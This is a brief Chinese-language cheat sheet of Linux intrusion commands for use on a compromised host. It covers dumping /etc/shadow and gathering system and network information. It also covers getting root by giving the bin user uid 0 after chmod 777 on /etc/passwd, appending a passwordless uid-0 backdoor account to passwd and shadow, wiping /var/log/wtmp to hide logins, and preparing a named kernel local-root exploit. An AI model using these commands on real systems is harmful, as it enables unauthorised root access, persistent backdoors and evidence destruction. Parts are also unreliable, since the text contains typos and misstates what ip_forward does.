Linux 常下用入侵命令

1.Linux 常下用入侵命令

cat /etc/passwd 查看 linux 用户

cat /etc/shadow 查看用户密码需要 root 权限

cat /etc/sysconfig/network-scripts/ifcfg-ethn　N 代表网卡号 查看所在网卡的 ip 信息

ifconfig 查看本机 ip 信息

cat /etc/resolv.conf 查看 DNS 信息

bash -i 在反弹的 shell 中使用可以直观显示命令

bash prompt: 当你以普通限权用户身份进入的时候，一般你会有一个类似 bash$的 prompt。当你以 Root 登陆时，你的 prompt 会变成

bash#。

系统变量：试着 echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。

echo 1>/proc/sys/net/ipv4/if_forward 是不是你写错了，应该是 echo 1>/proc/sys/net/ipv4/ip_forward,

vim /proc/sys/net/ipv4/ip_forward 吧,默认是 0,也就是内核不进行数据包过滤,改为 1 ,让内核对数据包进行 filter 处理!

netstat -an |grep LISTEN |grep :80 查看端口

service --status-all | grep running

service --status-all | grep http

查看运行服务

lsb_release -a　查看系统版本

重启 ssh 服务 ：/usr/sbin/sshd stop

/usr/sbin/sshd start

ssd_config 文件里

PasswordAuthentication no,

将其改为

PasswordAuthentication yes

远程 ssh 才可登录

否则显示 Access denied

其中 Usepam yes 可能用来建立 pam 方式 login，比如从其它 linux 主机 ssh 到服务端，如果关闭，则不能打开.

2.su 的菜鸟用法

先 chomod 777 /etc/passwd

然后修改 bin 用户的 gid 和 uid 为 0

然后 passwd 设置 bin 的密码

然后 cp /bin/bash /sbin/nologin

然后 su 的时候 su - bin 就可以到 rootshell 了。

这个原理就是当 ssh 不允许 root 用 ssh 终端登陆的时候 ,我们又不知道 root 密码，的一种很菜鸟的做法

还可以这样

sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd

gcc prtcl2.c –o local –static –Wall

echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd

echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

清空 last 记录 cp /dev/null /var/log/wtmp

---

dd if=/dev/zero of=yourfile bs=10M count=10 建立一个 100m 的大文件在利用 Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit 提权的时候要用到的